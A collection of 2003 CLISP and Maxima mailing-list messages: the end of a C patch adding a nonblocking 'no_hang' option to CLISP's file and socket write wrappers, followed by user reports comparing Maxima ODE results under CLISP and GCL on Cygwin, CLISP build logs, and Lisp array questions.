    }
@@ -7114,7 +7148,7 @@
     buffered_writebyte(stream,*bitbufferptr++);
   });
   #else
-  write_byte_array_buffered(stream,bitbufferptr,bytesize);
+  write_byte_array_buffered(stream,bitbufferptr,bytesize,0);
   #endif
   # increment position:
   BufferedStream_position(stream) += 1;
@@ -7230,12 +7264,14 @@
 }
 
 # WRITE-BYTE-SEQUENCE for File-Streams of Integers, Type au, bitsize = 8 :
-local void wr_by_array_iau8_buffered (const gcv_object_t* stream_,
+local uintL wr_by_array_iau8_buffered (const gcv_object_t* stream_,
                                       const gcv_object_t* bytearray_,
-                                      uintL start, uintL len) {
-  write_byte_array_buffered(*stream_,TheSbvector(*bytearray_)->data+start,len);
+                                      uintL start, uintL len, bool no_hang) {
+  /* no_hang not supported here *** */
+  write_byte_array_buffered(*stream_,TheSbvector(*bytearray_)->data+start,len,no_hang);
   # increment position:
   BufferedStream_position(*stream_) += len;
+  return len;
 }
 
 # File-Stream in general
@@ -13424,7 +13460,7 @@
   var sintL result = # flush Buffer
     full_write(TheHandle(BufferedStream_channel(stream)),
                BufferedStream_buffer_address(stream,0),
-               bufflen);
+               bufflen,0);
   writing_to_subprocess = false;
   if (result == bufflen) { # everything was written correctly
     end_system_call(); BufferedStream_modified(stream) = false;
@@ -13635,15 +13671,15 @@
     fehler_unwritable(TheSubr(subr_self)->name,stream);
 }
 
-local const uintB* low_write_array_unbuffered_pipe (object stream, const uintB* byteptr, uintL len) {
+local const uintB* low_write_array_unbuffered_pipe (object stream, const uintB* byteptr, uintL len, bool no_hang) {
   var Handle handle = TheHandle(TheStream(stream)->strm_ochannel);
   begin_system_call();
   writing_to_subprocess = true;
-  var sintL result = full_write(handle,byteptr,len);
+  var sintL result = full_write(handle,byteptr,len,no_hang);
   writing_to_subprocess = false;
   if (result<0) { OS_error(); }
   end_system_call();
-  if (!(result==(sintL)len)) # not successful?
+  if (!no_hang && !(result==(sintL)len)) # not successful?
     fehler_unwritable(TheSubr(subr_self)->name,stream);
   return byteptr+result;
 }
@@ -14273,15 +14309,15 @@
 local void low_write_unbuffered_socket (object stream, uintB b) {
   var SOCKET handle = TheSocket(TheStream(stream)->strm_ochannel);
   var int result;
-  SYSCALL(result,sock_write(handle,&b,1)); # Try to output the byte.
+  SYSCALL(result,sock_write(handle,&b,1,0)); # Try to output the byte.
   if (result==0) # not successful?
     fehler_unwritable(TheSubr(subr_self)->name,stream);
 }
 
-local const uintB* low_write_array_unbuffered_socket (object stream, const uintB* byteptr, uintL len) {
+local const uintB* low_write_array_unbuffered_socket (object stream, const uintB* byteptr, uintL len, bool no_hang) {
   var SOCKET handle = TheSocket(TheStream(stream)->strm_ochannel);
-  var int result; SYSCALL(result,sock_write(handle,byteptr,len));
-  if (result != (sintL)len) # not successful?
+  var int result; SYSCALL(result,sock_write(handle,byteptr,len,no_hang));
+  if (result < 0) # not successful? - formerly != (sintL)len
     fehler_unwritable(TheSubr(subr_self)->name,stream);
   return byteptr+result;
 }
@@ -14455,7 +14491,7 @@
   var uintL totalcount;
   test_n_bytes_args(&startindex,&totalcount);
   if (!(totalcount==0)) {
-    write_byte_array(&STACK_1,&STACK_0,startindex,totalcount);
+    write_byte_array(&STACK_1,&STACK_0,startindex,totalcount,0);
   }
   skipSTACK(2);
   VALUES1(T);
@@ -14507,7 +14543,7 @@
   var sintL result = # flush Buffer
     sock_write(TheSocket(BufferedStream_channel(stream)),
                BufferedStream_buffer_address(stream,0),
-               bufflen);
+               bufflen,0);
  #if defined(HAVE_SIGNALS) && defined(SIGPIPE)
   writing_to_subprocess = false;
  #endif
@@ -17440,7 +17476,7 @@
   if (endianness) /* byte swap */
     elt_nreverse(bitbuffer,0,bytesize);
   # Write the data.
-  write_byte_array(&STACK_3,&STACK_0,0,bytesize);
+  write_byte_array(&STACK_3,&STACK_0,0,bytesize,0);
   FREE_DYNAMIC_8BIT_VECTOR(STACK_0);
   VALUES1(STACK_4); /* return obj */
   skipSTACK(5);
@@ -17511,7 +17547,7 @@
   if (BIG_ENDIAN_P ? !endianness : endianness) /* byte swap */
     elt_nreverse(bitbuffer,0,bytesize);
   # Write the data.
-  write_byte_array(&STACK_3,&STACK_0,0,bytesize);
+  write_byte_array(&STACK_3,&STACK_0,0,bytesize,0);
   FREE_DYNAMIC_8BIT_VECTOR(STACK_0);
   VALUES1(STACK_4); /* return obj */
   skipSTACK(5);
diff -ur ./unix.d ../src/unix.d
--- ./unix.d	Wed Sep 17 16:48:06 2003
+++ ../src/unix.d	Wed Sep 17 13:56:56 2003
@@ -511,7 +511,7 @@
 extern RETRWTYPE read_helper (int fd, RW_BUF_T buf, RW_SIZE_T nbyte, bool partial_p);
 #define safe_read(f,b,n)  read_helper(f,b,n,true)
 #define full_read(f,b,n)  read_helper(f,b,n,false)
-extern RETRWTYPE full_write (int fd, WRITE_CONST RW_BUF_T buf, RW_SIZE_T nbyte);
+extern RETRWTYPE full_write (int fd, WRITE_CONST RW_BUF_T buf, RW_SIZE_T nbyte, bool no_hang);
 /* used by STREAM, PATHNAME, SPVW, MISC, UNIXAUX */
 
 /* inquire the terminal, window size: */
diff -ur ./unixaux.d ../src/unixaux.d
--- ./unixaux.d	Wed Sep 17 16:48:06 2003
+++ ../src/unixaux.d	Thu Sep 18 11:33:35 2003
@@ -286,11 +286,12 @@
 }
 
 # Ein Wrapper um die write-Funktion.
-  global RETRWTYPE full_write (int fd, WRITE_CONST RW_BUF_T bufarea, RW_SIZE_T nbyte);
-  global RETRWTYPE full_write (fd,bufarea,nbyte)
+  global RETRWTYPE full_write (int fd, WRITE_CONST RW_BUF_T bufarea, RW_SIZE_T nbyte, bool no_hang);
+  global RETRWTYPE full_write (fd,bufarea,nbyte,no_hang)
     var int fd;
     var WRITE_CONST RW_BUF_T bufarea;
     var RW_SIZE_T nbyte;
+    var bool no_hang;
     {
       var WRITE_CONST char* buf = (WRITE_CONST char*) bufarea;
       var RETRWTYPE retval;
@@ -299,18 +300,41 @@
       # Must adjust the memory permissions before calling write().
       handle_fault_range(PROT_READ,(aint)buf,(aint)buf+nbyte);
       #endif
-      until (nbyte==0) {
-        retval = write(fd,buf,nbyte);
-        if (retval == 0)
-          break;
-        elif (retval < 0) {
-          #ifdef EINTR
-          if (!(errno == EINTR))
-          #endif
-            return retval;
-        } else {
-          buf += retval; done += (RW_SIZE_T)retval; nbyte -= (RW_SIZE_T)retval;
-        }
+      {
+	var int fcntl_flags = 0;
+	if (no_hang){
+	  /* put it in nonblocking mode, (code stolen from stream.d) */
+	  if (( fcntl_flags = fcntl(fd,F_GETFL,0) )<0) {
+	    OS_error();
+	  }
+#ifdef O_NONBLOCK
+	  if ( fcntl(fd,F_SETFL,fcntl_flags|O_NONBLOCK) <0) {
+	    OS_error();
+	  }
+#else # older Unices called it O_NDELAY
+	  if ( fcntl(fd,F_SETFL,fcntl_flags|O_NDELAY) <0) {
+	    OS_error();
+	  }
+#endif
+	}
+	until (nbyte==0) {
+	  retval = write(fd,buf,nbyte);
+	  if (retval < 0) {
+	    if (no_hang && (errno == EAGAIN)) goto end;
+            #ifdef EINTR
+	    /* no way to interrupt a large write? *** */
+	    if (!(errno == EINTR))
+            #endif
+	      {done = retval; /* -1 */ goto end;}
+	  } else {
+	    buf += retval; done += (RW_SIZE_T)retval; nbyte -= (RW_SIZE_T)retval;
+	  }
+	}
+      end:
+
+	/* restore previous blocking mode */
+	if (no_hang)
+	  if ( fcntl(fd,F_SETFL,fcntl_flags) <0) { OS_error(); }
       }
       return done;
     }
@@ -350,9 +374,9 @@
       return done;
     }
 
-# A wrapper around the send() function.
-  global ssize_t sock_write (int fd, const void* bufarea, size_t nbyte);
-  global ssize_t sock_write (fd,bufarea,nbyte)
+# A wrapper around the send() function.  *** no_hang case totally untested !
+  global ssize_t sock_write (int fd, const void* bufarea, size_t nbyte, bool no_hang);
+  global ssize_t sock_write (fd,bufarea,nbyte,no_hang)
     var int fd;
     var const void* bufarea;
     var size_t nbyte;
@@ -364,18 +388,40 @@
       # Must adjust the memory permissions before calling send().
       handle_fault_range(PROT_READ,(aint)buf,(aint)buf+nbyte);
       #endif
-      until (nbyte==0) {
-        retval = send(fd,buf,nbyte,0);
-        if (retval == 0)
-          break;
-        elif (retval < 0) {
+      {
+	var int fcntl_flags;
+	if (no_hang){
+	  /* put it in nonblocking mode, (code stolen from stream.d) */
+	  if (( fcntl_flags = fcntl(fd,F_GETFL,0) )<0) {
+	    OS_error();
+	  }
+#ifdef O_NONBLOCK
+	  if ( fcntl(fd,F_SETFL,fcntl_flags|O_NONBLOCK) <0) {
+	    OS_error();
+	  }
+#else # older Unices called it O_NDELAY
+	  if ( fcntl(fd,F_SETFL,fcntl_flags|O_NDELAY) <0) {
+	    OS_error();
+	  }
+#endif
+	}
+	until (nbyte==0) {
+	  retval = send(fd,buf,nbyte,0);
+	  if (retval < 0) {
+	    if (errno == EWOULDBLOCK) goto end;
           #ifdef EINTR
-          if (!(errno == EINTR))
+	    if (!(errno == EINTR))
           #endif
-            return retval;
-        } else {
-          buf += retval; done += retval; nbyte -= retval;
-        }
+	      {done = retval; goto end;}
+	  } else {
+	    buf += retval; done += retval; nbyte -= retval;
+	  }
+	}
+      end:
+
+	/* restore previous blocking mode */
+	if (no_hang)
+	  if ( fcntl(fd,F_SETFL,fcntl_flags) <0) { OS_error(); }
       }
       return done;
     }


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David

Thanks for the tips both of the approaches suggested by you worked in 
getting
maxima{compiled with clisp}  shell to open up in texmacs 
{winxp/win200/cygwin/}. However, that is not the end
of my problems. I tried to solve this 2nd order differential equation 
and end up with
a wrong answer because if I try doing the same with maxima compiled with 
GCL I get the
right answer. Did some body else had the same problem?



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Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2003

Maxima 5.9.0 http://maxima.sourceforge.net
Distributed under the GNU Public License. See the file COPYING.
Dedicated to the memory of William Schelter.
This is a development version of Maxima. The function bug_report()
provides bug reporting information.
;; Loading file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp ...
;; Loaded file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp
(C1) 'diff(x,t,2) + a*x = b*sin(c*t);
                             2
                            d x
(D1)                        --- + a x = b SIN(c t)
                              2
                            dt
(C2) ode2(d1,x,t);
Is  a  positive, negative, or zero?

positive;
                          /
                          [
(D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a) t))
                          ]
1. Break [1]>

                    d
/(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t)))
                    dt

                     d
 - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt
                     dt

                    /
                    [
 + b COS(SQRT(a) t) I (COS(c t + SQRT(a) t) - COS(c t - SQRT(a) t))
                    ]
                    /

                    d
/(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t)))
                    dt

                     d
 - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt + %K1 SIN(SQRT(a) t)
                     dt

 + %K2 COS(SQRT(a) t)




Same solution using maxima compiled under gclisp


C:\Program Files\Maxima-5.9.0\lib\maxima\5.9.0\binary-gcl>maxima -eval
n)
GCL (GNU Common Lisp)  Version(2.5.0) Thu Jan 30 02:37:51 CST 2003
Licensed under GNU Library General Public License
Contains Enhancements by W. Schelter

Use (help) to get some basic information on how to use GCL.
Maxima 5.9.0 http://maxima.sourceforge.net
Distributed under the GNU Public License. See the file COPYING.
Dedicated to the memory of William Schelter.
This is a development version of Maxima. The function bug_report()
provides bug reporting information.
                 
(C3) 'diff(x,t,2) + a*x= b*sin(c*t);

                             2
                            d x
(D3)                        --- + a x = b SIN(C t)
                              2
                            dt
(C4) ode2(d3,x,t);

Is  a  positive, negative, or zero?

positive;
                b SIN(C t)
(D4)      x = - ---------- + %K1 SIN(SQRT(a) t) + %K2 COS(SQRT(a) t)
                   2
                  C  - a
(C5)

The two solutions are totally different. This has to do with the CLISP 
and GCLISP compilers. Any help or suggestions in this regard
will be highly appreciated.

regards

javed




Billinghurst, David (CALCRTS) wrote:

>>From: Billinghurst, David (CALCRTS) 
>>
>>    
>>
>>>From: Javed Alam
>>>Sent: Saturday, 13 September 2003 12:02 AM
>>>
>>>I have been trying to run texmacs-1.0.1.21 with maxima-5.9.0 under 
>>>cygwin on a win/xp and win/2000 system.
>>>
>>>[...]
>>>
>>>I get the following error.
>>>
>>>[...]
>>>
>>>Fatal error: bad url in 'complete'
>>>See file   : url.cpp
>>>      
>>>
>>See if https://savannah.gnu.org/bugs/?func=detailbug&group_id=156&bug_id=4241
>>helps.  It suggests hard coding a file location. I will have a look 
>>myself over weekend.
>>    
>>
>
>Alternatively:
>http://www.mail-archive.com/fink-users@lists.sourceforge.net/msg09820.html
>indicates that the problem is related to locate/updatedb.  
>
>When "locate toc_maxima.html" finds the file then texmacs will run maxima.  
>However, I have some unresolved issues on cygwin:
> - the machine that used to work now doesn't, 
> - the one that didn't now does after doing an updatedb
> - updatedb is giving me some grief.
>
>
>  
>


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[Keep CC, thank you]

    >     root@w2kpicasso:/usr/src/build/clisp/clisp-2.31# ls -la build-cygwin/
    >     total 0
    >     drwxr-xr-x    2 root     None            0 Sep 15 23:19 .
    >     drwxr-xr-x   22 root     None            0 Sep 15 22:25 ..
    > 
    > Let me know how to proceed

    please replace "--install" with "--build --install".  sorry.

    if you do not have libsigsegv installed, I suggest
    getting it from ftp://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.1.tar.gz 
    and installing it with
    ./configure --prefix /usr/local/libsigsegv-cygwin
    make && make check && make install
    (you can omit --prefix here in
    --with-libsigsegv-prefix=/usr/local/libsigsegv-cygwin in CLISP config if
    you do not need libsigsegv/mingw).
    this is not required, but _highly_ recommended.
    this is a _build-time_ dependency only (not a run-time dependency!)

I had to port libsegv to cygwin first (Just announced ITP in cygwin-apps
mailing list), so I'm back in clisp again. Here is the latest build
messages, let me know how to proceed.


        ./configure                     \
        --prefix=/usr                   \
        --exec-prefix=/usr              \
        --with-dynamic-ffi              \
        --with-module=syscalls          \
        --with-module=regexp            \
        --fsstnd=redhat                 \
        --with-module=dirkey            \
        --with-module=bindings/win32    \
        --with-libsigsegv-prefix=/usr/lib \
        --install --build cygwin



I used ftp://ftp.gnu.org/pub/gnu/libsigsegv/ which had version
libsigsegv-2.0 (You mentioned 2.1 ?)

Jari


ln -s ../src/nls_cp1257.c nls_cp1257.c
ln -s ../src/nls_hp_roman8.c nls_hp_roman8.c
ln -s ../src/nls_nextstep.c nls_nextstep.c
ln -s ../src/nls_jisx0201.c nls_jisx0201.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c encoding.c
encoding.d: In function `nls_range':
encoding.d:1658: warning: `i1' might be used uninitialized in this function
encoding.d:1659: warning: `i2' might be used uninitialized in this function
ln -s ../src/pathname.d pathname.d
./comment5 pathname.d | ./ansidecl | ./varbrace > pathname.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c pathname.c
pathname.d: In function `parse_logical_word':
pathname.d:1529: warning: `ch' might be used uninitialized in this function
pathname.d: In function `C_launch':
pathname.d:10862: warning: variable `exit_code' might be clobbered by `longjmp' or `vfork'
ln -s ../src/stream.d stream.d
./comment5 stream.d | ./ansidecl | ./varbrace > stream.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c stream.c
stream.d: In function `iconv_range':
stream.d:3932: warning: `i1' might be used uninitialized in this function
stream.d:3933: warning: `i2' might be used uninitialized in this function
stream.d: In function `lisp_completion':
stream.d:9147: warning: variable `array' might be clobbered by `longjmp' or `vfork'
stream.d:9154: warning: variable `ptr' might be clobbered by `longjmp' or `vfork'
stream.d:9169: warning: variable `ptr1' might be clobbered by `longjmp' or `vfork'
make: *** [stream.o] Interrupt







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Arseny Slobodjuck schrieb:

> Full version (with modules) doesn't work on win98 and NT4, indeed. As
> Sam said CreateHardlink needed for COPY-FILE :METHOD :HARDLINK. Base
> version works on NT4.

Hallo

Now I found time to take a closer look and I find a second lisp.exe in
the directory /base. This works fine on win98. 

[3]> (lisp-implementation-version)
"2.31 (released 2003-09-01) (built 3271571601) (memory 3272780650)"

BTW: Is it possible to replace the word-monster 
(lisp-implementation-version) with single (version)? (I tried this
without lisp-..., because I remember so)

Nice, thank you. 
Which version should I now report, when there is a full and a base
lisp.exe? And is the difference important?


Then I try to build an array which should look like: 

(a0 a1 a2 a3)
(b0 b1 b2 b3 b4 5b)
(c0 c1 c2)
(d0 d1 d2 d3 d4 d5 d6 d7)
...
but I don't get it. Is this impossible to do? 


While trying, I saw that still (since 2.24) 
(setf (aref neuron02 0 2) 00) 
is always print-out 0 and not 00. I have some values like (01 02 03...
23 24 25) and numbers with single digits are not nice as a table on the
screen (it looks like (1 2 3 ... 23 24 25)). Until now I set this to a
string 
[87]> (setf (aref feld 1 0) "00")
"00"


Else I come to another thing I want to print here. 
;; (setf feld (make-array '(4 4))) goes before.

[71]> (setf (aref feld 0 3) nn)

*** - EVAL: variable NN has no value
The following restarts are available:
STORE-VALUE    :R1      You may input a new value for NN.
USE-VALUE      :R2      You may input a value to be used instead of NN.

1. Break [72]> :r2

Use instead of NN: 'nn
'NN
[73]> feld
#2A((0 1 'NN NIL) (NIL AA NIL NIL) (NIL NIL BB NIL) (NIL NIL NIL CC))
[75]> (aref feld 0 3)
'NN

To repeat it, I found this:

[28]> (setf (aref feld 0 3) nn)

*** - EVAL: variable NN has no value
The following restarts are available:
STORE-VALUE    :R1      You may input a new
USE-VALUE      :R2      You may input a val

1. Break [29]> :r2

Use instead of NN: nn

*** - SYSTEM::STORE: 0 is not an array
1. Break [30]> :a
[31]> (setf (aref feld 2 2) 'nn)
NN    ;; works right

feld looks like this:
#2A((NIL NIL NIL 2) ("00" 0 NN NIL) (NIL NIL NN 'NN) (NIL NIL NIL NIL))

and using once :r1 nn, this makes 'nn to the feld, after one use of :r1
all seemed to work fine:
[50]> (setf (aref feld 3 0) nn)
'NN
[51]> feld
#2A(('NN NN NIL 'NN) ("00" 0 NN NIL) (NIL NIL NN 'NN) ('NN NIL NIL NIL))
[59]> (setf (aref feld 3 1) 'nn)
NN
hmmm, I try it on an other day.


But after all, I'm happy, to get CL-2.31 work. Next I test my old code
...

stefan
- wishes always a better idea :)



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Usually the way to tell if something is a compiler bug is
to find load the corresponding non-compiled file and run
the program again.  Then try the program again but load
only one definition from the file and see if it fixes it.

Which one file, which one definition... that's tricky to
determine.

Another way, if you have 2 different behaviors, is to
trace all the programs that you think might matter, and look
at the two traces. (output the trace info to text files...)

Good luck.

RJF


Javed Alam wrote:

>
> David
>
> Thanks for the tips both of the approaches suggested by you worked in 
> getting
> maxima{compiled with clisp}  shell to open up in texmacs 
> {winxp/win200/cygwin/}. However, that is not the end
> of my problems. I tried to solve this 2nd order differential equation 
> and end up with
> a wrong answer because if I try doing the same with maxima compiled 
> with GCL I get the
> right answer. Did some body else had the same problem?
>
>
>
> $ maxima
>  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
>  I I I I I I I      8     8   8           8     8     o  8    8
>  I  \ `+' /  I      8         8           8     8        8    8
>   \  `-+-'  /       8         8           8      ooooo   8oooo
>    `-__|__-'        8         8           8           8  8
>        |            8     o   8           8     o     8  8
>  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8
>
> Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
> Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
> Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
> Copyright (c) Bruno Haible, Sam Steingold 1999-2003
>
> Maxima 5.9.0 http://maxima.sourceforge.net
> Distributed under the GNU Public License. See the file COPYING.
> Dedicated to the memory of William Schelter.
> This is a development version of Maxima. The function bug_report()
> provides bug reporting information.
> ;; Loading file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp ...
> ;; Loaded file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp
> (C1) 'diff(x,t,2) + a*x = b*sin(c*t);
>                             2
>                            d x
> (D1)                        --- + a x = b SIN(c t)
>                              2
>                            dt
> (C2) ode2(d1,x,t);
> Is  a  positive, negative, or zero?
>
> positive;
>                          /
>                          [
> (D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a) t))
>                          ]
> 1. Break [1]>
>
>                    d
> /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t)))
>                    dt
>
>                     d
> - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt
>                     dt
>
>                    /
>                    [
> + b COS(SQRT(a) t) I (COS(c t + SQRT(a) t) - COS(c t - SQRT(a) t))
>                    ]
>                    /
>
>                    d
> /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t)))
>                    dt
>
>                     d
> - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt + %K1 SIN(SQRT(a) t)
>                     dt
>
> + %K2 COS(SQRT(a) t)
>
>
>
>
> Same solution using maxima compiled under gclisp
>
>
> C:\Program Files\Maxima-5.9.0\lib\maxima\5.9.0\binary-gcl>maxima -eval
> n)
> GCL (GNU Common Lisp)  Version(2.5.0) Thu Jan 30 02:37:51 CST 2003
> Licensed under GNU Library General Public License
> Contains Enhancements by W. Schelter
>
> Use (help) to get some basic information on how to use GCL.
> Maxima 5.9.0 http://maxima.sourceforge.net
> Distributed under the GNU Public License. See the file COPYING.
> Dedicated to the memory of William Schelter.
> This is a development version of Maxima. The function bug_report()
> provides bug reporting information.
>                 (C3) 'diff(x,t,2) + a*x= b*sin(c*t);
>
>                             2
>                            d x
> (D3)                        --- + a x = b SIN(C t)
>                              2
>                            dt
> (C4) ode2(d3,x,t);
>
> Is  a  positive, negative, or zero?
>
> positive;
>                b SIN(C t)
> (D4)      x = - ---------- + %K1 SIN(SQRT(a) t) + %K2 COS(SQRT(a) t)
>                   2
>                  C  - a
> (C5)
>
> The two solutions are totally different. This has to do with the CLISP 
> and GCLISP compilers. Any help or suggestions in this regard
> will be highly appreciated.
>
> regards
>
> javed
>
>
>
>
> Billinghurst, David (CALCRTS) wrote:
>
>>> From: Billinghurst, David (CALCRTS)
>>>   
>>>
>>>> From: Javed Alam
>>>> Sent: Saturday, 13 September 2003 12:02 AM
>>>>
>>>> I have been trying to run texmacs-1.0.1.21 with maxima-5.9.0 under 
>>>> cygwin on a win/xp and win/2000 system.
>>>>
>>>> [...]
>>>>
>>>> I get the following error.
>>>>
>>>> [...]
>>>>
>>>> Fatal error: bad url in 'complete'
>>>> See file   : url.cpp
>>>>     
>>>
>>> See if 
>>> https://savannah.gnu.org/bugs/?func=detailbug&group_id=156&bug_id=4241
>>> helps.  It suggests hard coding a file location. I will have a look 
>>> myself over weekend.
>>>   
>>
>>
>> Alternatively:
>> http://www.mail-archive.com/fink-users@lists.sourceforge.net/msg09820.html 
>>
>> indicates that the problem is related to locate/updatedb. 
>> When "locate toc_maxima.html" finds the file then texmacs will run 
>> maxima.  However, I have some unresolved issues on cygwin:
>> - the machine that used to work now doesn't, - the one that didn't 
>> now does after doing an updatedb
>> - updatedb is giving me some grief.
>>
>>
>>  
>>
>
>



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Hi

I ran the  maxima versions(5.9.0) compiled with clisp(2.31) and 
gclisp(2.5.0) for exact same problems. The build_info for both is included.
OS ENVIRONMENT: CYGWIN under WINXP
CYGWIN { 2003/08/31 12:05:44 Starting cygwin install, version 2.340.2.5 }

Here is what I am getting as output:


MAXIMA version compiled with the clisp  runs most of the problems but 
fails to produce results for

1. problems involving differentiation of functions
2. 2nd order non-homogeneous ordinary differential equations. It works 
ok for 2nd order homogenous ordinary equations.

Other than this everything else seems to work including plot2d and 
plot3d functions.

I am including the screen output from both runs :


CLISP run


jalam@JOVE4 ~
$ maxima
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2003

Maxima 5.9.0 http://maxima.sourceforge.net
Distributed under the GNU Public License. See the file COPYING.
Dedicated to the memory of William Schelter.
This is a development version of Maxima. The function bug_report()
provides bug reporting information.
;; Loading file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp ...
;; Loaded file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp
(C1) build_info;
(D1)                              BUILD_INFO
(C2) build_info();

Maxima version: 5.9.0
Maxima build date: 6:33 9/12/2003
host type: i686-pc-cygwin
lisp-implementation-type: CLISP
lisp-implementation-version: 2.31 (released 2003-09-01) (built 
3272325060) (memo
ry 3272351601)

(D2)
(C3) 2 + 2;
(D3)                                   4
(C4) integrate(x^2,x);
                                       3
                                      x
(D4)                                  --
                                      3
(C5) integrate(x^3,x,0,1);
                                       1
(D5)                                   -
                                       4
(C6) 'diff(x,t,2)=0;
                                     2
                                    d x
(D6)                                --- = 0
                                      2
                                    dt
(C7) ode2(d6,x,t);
(D7)                            x = %K2 t + %K1
(C8) 'diff(x,t,2) + a*'diff(x,t) + b*x=0;
                              2
                             d x     dx
(D8)                         --- + a -- + b x = 0
                               2     dt
                             dt
(C9) ode2(d8,x,t);
           2
Is  4 b - a   positive, negative, or zero?

positive;
              a t
            - ---                      2                           2
               2           SQRT(4 b - a ) t            SQRT(4 b - a ) t
(D9)  x = %E      (%K1 SIN(----------------) + %K2 COS(----------------))
                                  2                           2
(C10) solve(x^2 -3*x +2=0,x);
(D10)                           [x = 1, x = 2]
(C11) diff(x,x);
(D11)                                  1
(C12) diff(x^2,x);
                                    d    2
(D12)                               -- (x )
                                    dx
(C13) 'diff(x,t,2) +a*'diff(x,t) + b*x =d*sin(e*t);
                          2
                         d x     dx
(D13)                    --- + a -- + b x = d SIN(e t)
                           2     dt
                         dt
(C14) ode2(d13,x,t);
           2
Is  4 b - a   positive, negative, or zero?

positive;
              a t
            - ---                    2
               2         SQRT(4 b - a ) t
(D14) x = %E      (d SIN(----------------)
                                2

 /                          2                       2
 [      2 e t + SQRT(4 b - a ) t        SQRT(4 b - a ) t - 2 e t
 I (SIN(------------------------) - SIN(------------------------))
 ]                 2                               2
 /

                                   a t
                    2            - ---                 2
        SQRT(4 b - a ) t   d        2      SQRT(4 b - a ) t
/(2 COS(----------------) (-- (%E      SIN(----------------)))
               2           dt                     2

                                    a t
                     2            - ---                 2
         SQRT(4 b - a ) t   d        2      SQRT(4 b - a ) t
 - 2 SIN(----------------) (-- (%E      COS(----------------)))) dt
                2           dt                     2

                     2     /                          2
         SQRT(4 b - a ) t  [      2 e t + SQRT(4 b - a ) t
 + d COS(----------------) I (COS(------------------------)
                2          ]                 2
                           /

                   2                                 2
       SQRT(4 b - a ) t - 2 e t          SQRT(4 b - a ) t
 - COS(------------------------))/(2 COS(----------------)
                  2                             2

          a t
        - ---                 2                           2
  d        2      SQRT(4 b - a ) t            SQRT(4 b - a ) t
 (-- (%E      SIN(----------------))) - 2 SIN(----------------)
  dt                     2                           2

          a t
        - ---                 2
  d        2      SQRT(4 b - a ) t
 (-- (%E      COS(----------------)))) dt)
  dt                     2

(C15)
     - ---                      2                           2
        2           SQRT(4 b - a ) t            SQRT(4 b - a ) t
 + %E      (%K1 SIN(----------------) + %K2 COS(----------------))
                           2                           2
(C15)



GCLISP RUN for the sake of comparison


jalam@JOVE4 ~
jalam@JOVE4 /tmp/maxima/lib/maxima/5.9.0/binary-gcl
$ ./maxima -eval "(user::run)"
GCL (GNU Common Lisp)  Version(2.5.0) Thu Jan 30 02:37:51 CST 2003
Licensed under GNU Library General Public License
Contains Enhancements by W. Schelter

Use (help) to get some basic information on how to use GCL.
Maxima 5.9.0 http://maxima.sourceforge.net
Distributed under the GNU Public License. See the file COPYING.
Dedicated to the memory of William Schelter.
This is a development version of Maxima. The function bug_report()
provides bug reporting information.
(C1) build_info;

(D1)                              BUILD_INFO
(C2) build_info();


Maxima version: 5.9.0
Maxima build date: 19:10 2/9/2003
host type: i686-pc-mingw32
lisp-implementation-type: Kyoto Common Lisp
lisp-implementation-version: GCL-2-5.0

(D2)
(C3) 2 + 2;

(D3)                                   4
(C4) integrate (x^2,x);

                                       3
                                      x
(D4)                                  --
                                      3
(C5) integrate(x^3,x,0,1);

                                       1
(D5)                                   -
                                       4
(C6) 'diff(x,t,2)=0;

                                     2
                                    d x
(D6)                                --- = 0
                                      2
                                    dt
(C7) ode2(d6,x,t);

(D7)                            x = %K2 t + %K1
(C8) 'diff(x,t,2) + a*'diff(x,t) + b*x=0;

                              2
                             d x     dx
(D8)                         --- + a -- + b x = 0
                               2     dt
                             dt
(C9) ode2(d8,x,t);

           2
Is  4 b - a   positive, negative, or zero?

positive;
              a t
            - ---                      2                           2
               2           SQRT(4 b - a ) t            SQRT(4 b - a ) t
(D9)  x = %E      (%K1 SIN(----------------) + %K2 COS(----------------))
                                  2                           2
